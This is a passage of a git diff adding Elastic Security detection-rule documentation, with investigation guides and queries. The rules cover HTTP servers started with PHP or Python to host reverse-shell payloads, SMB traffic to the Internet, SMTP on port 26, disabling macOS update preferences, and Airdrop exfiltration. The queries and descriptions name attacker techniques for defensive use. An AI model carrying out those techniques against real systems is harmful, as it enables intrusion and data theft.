Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-simple-http-web-server-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-simple-http-web-server-creation.asciidoc new file mode 100644 index 0000000000..2e7700f043 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-simple-http-web-server-creation.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-simple-http-web-server-creation]] +=== Simple HTTP Web Server Creation + +This rule detects the creation of a simple HTTP web server using PHP or Python built-in modules. Adversaries may create simple HTTP web servers to establish persistence on a compromised system by uploading a reverse or command shell payload to the server web root, allowing them to regain remote access to the system if lost. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Simple HTTP Web Server Creation* + + +Simple HTTP web servers, often created using PHP or Python, are lightweight and easy to deploy, making them ideal for quick file sharing or testing. However, adversaries exploit this simplicity to establish persistence on compromised Linux systems. By deploying a web server, they can upload malicious payloads, such as reverse shells, to maintain remote access. The detection rule identifies suspicious server creation by monitoring process executions that match specific patterns, such as PHP or Python commands indicative of server setup, thereby alerting analysts to potential threats. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of PHP or Python commands with arguments matching the patterns specified in the query, such as PHP with the "-S" argument or Python with "--cgi" or "CGIHTTPServer". +- Identify the user account under which the suspicious process was executed to determine if it aligns with expected behavior or if it indicates potential compromise. +- Examine the network activity associated with the process to identify any unusual connections or data transfers that could suggest malicious intent or data exfiltration. +- Check the file system for any newly created or modified files in the web server's root directory that could contain malicious payloads, such as reverse shells. +- Investigate the parent process of the suspicious server creation to understand how the process was initiated and whether it was triggered by another potentially malicious activity. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Development and testing environments often use simple HTTP servers for legitimate purposes such as serving static files or testing web applications. To manage this, create exceptions for known development directories or user accounts frequently involved in these activities. +- Automated scripts or cron jobs may start simple HTTP servers for routine tasks like file distribution or internal data sharing. Identify these scripts and exclude their execution paths or associated user accounts from triggering alerts. +- Educational or training sessions might involve setting up simple HTTP servers as part of learning exercises. Exclude specific IP ranges or user groups associated with training environments to prevent false positives. +- System administrators might use simple HTTP servers for quick troubleshooting or system maintenance tasks. Document these activities and create exceptions based on the administrator's user accounts or specific server names. +- Continuous integration and deployment pipelines may temporarily start HTTP servers during build or deployment processes. Identify these pipelines and exclude their associated processes or execution contexts from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious PHP or Python processes identified by the detection rule to halt the operation of the unauthorized web server. +- Conduct a thorough examination of the web server's root directory to identify and remove any malicious payloads, such as reverse shells or unauthorized scripts. +- Review system logs and network traffic to identify any additional indicators of compromise or lateral movement attempts by the adversary. +- Restore the system from a known good backup if any critical system files or configurations have been altered by the adversary. +- Implement stricter access controls and monitoring on the affected system to prevent similar unauthorized server setups in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + (process.name regex~ """php?[0-9]?\.?[0-9]{0,2}""" and process.args == "-S") or + (process.name like "python*" and process.args in ("--cgi", "CGIHTTPServer")) +) and +not process.parent.name in ("check_kmp_wrapper", "naemon", "runc") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-smb-windows-file-sharing-activity-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-smb-windows-file-sharing-activity-to-the-internet.asciidoc new file mode 100644 index 0000000000..f1f19638d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-smb-windows-file-sharing-activity-to-the-internet.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-smb-windows-file-sharing-activity-to-the-internet]] +=== SMB (Windows File Sharing) Activity to the Internet + +This rule detects network events that may indicate the use of Windows file sharing (also called SMB or CIFS) traffic to the Internet. SMB is commonly used within networks to share files, printers, and other system resources amongst trusted systems. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector or for data exfiltration. + +*Rule type*: new_terms + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Tactic: Exfiltration +* Domain: Network +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SMB (Windows File Sharing) Activity to the Internet* + + +SMB, a protocol for sharing files and resources within trusted networks, is vulnerable when exposed to the Internet. Adversaries exploit it for unauthorized access or data theft. The detection rule identifies suspicious SMB traffic from internal IPs to external networks, flagging potential threats by monitoring specific ports and excluding known safe IP ranges. + + +*Possible investigation steps* + + +- Review the source IP address from the alert to identify the internal system initiating the SMB traffic. Check if this IP belongs to a known device or user within the organization. +- Investigate the destination IP address to determine if it is associated with any known malicious activity or if it belongs to a legitimate external service that might require SMB access. +- Analyze network logs to identify any patterns or anomalies in the SMB traffic, such as unusual data transfer volumes or repeated access attempts, which could indicate malicious activity. +- Check for any recent changes or updates on the source system that might explain the SMB traffic, such as new software installations or configuration changes. +- Correlate the alert with other security events or logs, such as authentication logs or endpoint security alerts, to gather additional context and determine if this is part of a broader attack or isolated incident. +- Consult threat intelligence sources to see if there are any known vulnerabilities or exploits related to the SMB traffic observed, which could provide insight into potential attack vectors. + + +*False positive analysis* + + +- Internal testing environments may generate SMB traffic to external IPs for legitimate reasons. Identify and whitelist these IPs to prevent false positives. +- Cloud services or remote backup solutions might use SMB for data transfer. Verify these services and add their IP ranges to the exception list if they are trusted. +- VPN connections can sometimes appear as external traffic. Ensure that VPN IP ranges are included in the list of known safe IPs to avoid misclassification. +- Misconfigured network devices might inadvertently route SMB traffic externally. Regularly audit network configurations and update the rule exceptions to include any legitimate device IPs. +- Some third-party applications may use SMB for updates or data synchronization. Confirm the legitimacy of these applications and exclude their associated IPs from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of firewall and network configurations to ensure SMB traffic is not allowed to the Internet, and block any unauthorized outbound SMB traffic on ports 139 and 445. +- Perform a comprehensive scan of the isolated system for malware or unauthorized access tools, focusing on identifying any backdoors or persistence mechanisms. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the suspicious activity. +- Notify the security operations center (SOC) and relevant stakeholders about the incident for further analysis and potential escalation. +- Implement additional monitoring and logging for SMB traffic to detect any future unauthorized attempts to access the Internet. +- Review and update security policies and procedures to prevent similar incidents, ensuring that SMB services are only accessible within trusted network segments. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:(139 or 445) or event.dataset:zeek.smb) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-smtp-on-port-26-tcp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-smtp-on-port-26-tcp.asciidoc new file mode 100644 index 0000000000..66a49e7830 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-smtp-on-port-26-tcp.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-smtp-on-port-26-tcp]] +=== SMTP on Port 26/TCP + +This rule detects events that may indicate use of SMTP on TCP port 26. This port is commonly used by several popular mail transfer agents to deconflict with the default SMTP port 25. This port has also been used by a malware family called BadPatch for command and control of Windows systems. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/unit42-badpatch/ +* https://isc.sans.edu/forums/diary/Next+up+whats+up+with+TCP+port+26/25564/ + +*Tags*: + +* Tactic: Command and Control +* Tactic: Exfiltration +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SMTP on Port 26/TCP* + + +SMTP, typically operating on port 25, is crucial for email transmission. However, port 26 is often used to avoid conflicts or restrictions on port 25. Adversaries exploit this by using port 26 for covert command and control, as seen with the BadPatch malware. The detection rule identifies suspicious SMTP activity on port 26 by analyzing network traffic patterns, helping to uncover potential threats. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any unusual patterns or anomalies associated with TCP port 26, focusing on the event.dataset fields such as network_traffic.flow or zeek.smtp. +- Analyze the source and destination IP addresses involved in the alert to determine if they are known or associated with any previous suspicious activities. +- Check for any additional alerts or logs related to the same source or destination IP addresses to identify potential patterns or repeated attempts of communication on port 26. +- Investigate the context of the communication by examining the payload data, if available, to identify any indicators of compromise or malicious content. +- Correlate the findings with threat intelligence sources to determine if the IP addresses or domains are associated with known threat actors or malware, such as BadPatch. +- Assess the risk and impact on the affected systems by determining if any sensitive data or critical systems are involved in the communication on port 26. + + +*False positive analysis* + + +- Legitimate mail transfer agents may use port 26 to avoid conflicts with port 25. Identify these agents and create exceptions in the detection rule to prevent unnecessary alerts. +- Some network configurations might reroute SMTP traffic to port 26 for load balancing or security reasons. Verify these configurations and whitelist known IP addresses or domains to reduce false positives. +- Internal testing or development environments might use port 26 for non-malicious purposes. Document these environments and exclude their traffic from triggering alerts. +- Certain email service providers may use port 26 as an alternative to port 25. Confirm these providers and adjust the rule to recognize their traffic as benign. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further command and control communication via port 26. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove the BadPatch malware or any other malicious software. +- Review and analyze network logs to identify any other systems that may have communicated with the same command and control server, and isolate those systems as well. +- Change all passwords and credentials that may have been compromised or accessed by the affected system to prevent unauthorized access. +- Apply security patches and updates to the affected system and any other vulnerable systems to mitigate exploitation by similar threats. +- Monitor network traffic for any further suspicious activity on port 26 and other non-standard ports, adjusting firewall rules to block unauthorized SMTP traffic. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to ensure comprehensive threat eradication. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: (network_traffic.flow or zeek.smtp) or event.category:(network or network_traffic)) and network.transport:tcp and destination.port:26 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Mail Protocols +** ID: T1071.003 +** Reference URL: https://attack.mitre.org/techniques/T1071/003/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-softwareupdate-preferences-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-softwareupdate-preferences-modification.asciidoc new file mode 100644 index 0000000000..55cf78a091 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-softwareupdate-preferences-modification.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-softwareupdate-preferences-modification]] +=== SoftwareUpdate Preferences Modification + +Identifies changes to the SoftwareUpdate preferences using the built-in defaults command. Adversaries may abuse this in an attempt to disable security updates. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SoftwareUpdate Preferences Modification* + + +In macOS environments, the SoftwareUpdate preferences manage system updates, crucial for maintaining security. Adversaries may exploit the 'defaults' command to alter these settings, potentially disabling updates to evade defenses. The detection rule identifies such modifications by monitoring specific command executions that attempt to change update preferences without enabling them, signaling potential malicious activity. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the 'defaults' command with arguments attempting to modify SoftwareUpdate preferences, specifically looking for 'write', '-bool', and the targeted preferences file paths. +- Check the user account associated with the process execution to determine if it aligns with expected administrative activity or if it might be indicative of unauthorized access. +- Investigate the host's recent activity for any other suspicious processes or commands that may suggest a broader attempt to impair system defenses or evade detection. +- Examine system logs and security alerts around the time of the detected event to identify any correlated activities or anomalies that could provide additional context or evidence of malicious intent. +- Assess the current state of the SoftwareUpdate preferences on the affected host to verify if updates have been disabled or altered, and take corrective actions if necessary. + + +*False positive analysis* + + +- System administrators may use the defaults command to configure SoftwareUpdate settings during routine maintenance. To handle this, create exceptions for known administrative scripts or processes that frequently execute these commands. +- Automated configuration management tools might alter SoftwareUpdate preferences as part of their standard operations. Identify these tools and exclude their process identifiers from triggering the rule. +- Some legitimate applications may require specific update settings and modify preferences accordingly. Monitor and whitelist these applications to prevent unnecessary alerts. +- User-initiated changes to update settings for personal preferences can trigger false positives. Educate users on the implications of such changes and consider excluding user-specific processes if they are consistently non-threatening. +- During system setup or reconfiguration, defaults commands may be used to establish baseline settings. Temporarily disable the rule or set up a temporary exception during these periods to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential spread or further unauthorized changes. +- Review the process execution logs to confirm the unauthorized use of the 'defaults' command and identify any associated user accounts or processes. +- Revert any unauthorized changes to the SoftwareUpdate preferences by resetting them to their default state using the 'defaults' command with appropriate parameters. +- Conduct a thorough scan of the affected system for additional signs of compromise, such as malware or unauthorized access attempts, using endpoint security tools. +- Change passwords and review permissions for any user accounts involved in the incident to prevent further unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement enhanced monitoring for similar command executions across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "defaults" and + process.args like "write" and process.args like "-bool" and process.args like~ ("com.apple.SoftwareUpdate", "/Library/Preferences/com.apple.SoftwareUpdate.plist") and not process.args like ("TRUE", "true") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device-via-airdrop.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device-via-airdrop.asciidoc new file mode 100644 index 0000000000..0e61e8804d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device-via-airdrop.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device-via-airdrop]] +=== Spike in Bytes Sent to an External Device via Airdrop + +A machine learning job has detected high bytes of data written to an external device via Airdrop. In a typical operational setting, there is usually a predictable pattern or a certain range of data that is written to external devices. An unusually large amount of data being written is anomalous and can signal illicit data copying or transfer activities. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/ded +* https://www.elastic.co/blog/detect-data-exfiltration-activity-with-kibanas-new-integration + +*Tags*: + +* Use Case: Data Exfiltration Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Bytes Sent to an External Device via Airdrop* + + +Airdrop facilitates seamless file sharing between Apple devices, leveraging Bluetooth and Wi-Fi. While convenient, adversaries can exploit it for unauthorized data exfiltration by transferring large volumes of sensitive data. The detection rule employs machine learning to identify anomalies in data transfer patterns, flagging unusual spikes in bytes sent as potential exfiltration attempts, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific device and user involved in the data transfer. Check for any known associations with previous incidents or suspicious activities. +- Analyze the volume of data transferred and compare it to typical usage patterns for the device and user. Determine if the spike is significantly higher than usual. +- Investigate the time and context of the data transfer. Correlate with other logs or alerts to identify any concurrent suspicious activities or anomalies. +- Check the destination device's details to verify if it is a recognized and authorized device within the organization. Investigate any unknown or unauthorized devices. +- Contact the user associated with the alert to verify the legitimacy of the data transfer. Gather information on the nature of the files transferred and the purpose of the transfer. +- Review any recent changes in the user's access privileges or roles that might explain the increased data transfer activity. + + +*False positive analysis* + + +- Regular large file transfers for legitimate business purposes, such as media companies transferring video files, can trigger false positives. Users can create exceptions for specific devices or user accounts known to perform these tasks regularly. +- Software updates or backups that involve transferring large amounts of data to external devices may be misidentified as exfiltration attempts. Users should whitelist these activities by identifying the associated processes or applications. +- Educational institutions or creative teams often share large files for collaborative projects. Establishing a baseline for expected data transfer volumes and excluding these from alerts can reduce false positives. +- Devices used for testing or development purposes might frequently send large data volumes. Users can exclude these devices from monitoring by adding them to an exception list. +- Personal use of Airdrop for transferring large media files, such as photos or videos, can be mistaken for suspicious activity. Users can mitigate this by setting thresholds that account for typical personal use patterns. + + +*Response and remediation* + + +- Immediately isolate the affected device from the network to prevent further data exfiltration. +- Verify the identity and permissions of the user associated with the anomalous Airdrop activity to ensure they are authorized to transfer data. +- Conduct a forensic analysis of the device to identify any unauthorized applications or processes that may have facilitated the data transfer. +- Review and revoke any unnecessary permissions or access rights for the user or device involved in the incident. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the activity is part of a larger threat campaign. +- Implement additional monitoring on the affected device and similar devices to detect any further anomalous Airdrop activities. +- Update security policies and controls to restrict Airdrop usage to only trusted devices and networks, reducing the risk of future unauthorized data transfers. + +==== Setup + + + +*Setup* + + +The rule requires the Data Exfiltration Detection integration assets to be installed, as well as network and file events collected by integrations such as Elastic Defend and Network Packet Capture (for network events only). + + +*Data Exfiltration Detection Setup* + +The Data Exfiltration Detection integration detects data exfiltration activity by identifying abnormalities in network and file events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Data Exfiltration Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- File events collected by the Elastic Defend integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Data Exfiltration Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Data Exfiltration Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Other Network Medium +** ID: T1011 +** Reference URL: https://attack.mitre.org/techniques/T1011/ +* Sub-technique: +** Name: Exfiltration Over Bluetooth +** ID: T1011.001 +** Reference URL: https://attack.mitre.org/techniques/T1011/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device.asciidoc new file mode 100644 index 0000000000..5b258bdbf3 --- /dev/null +++ 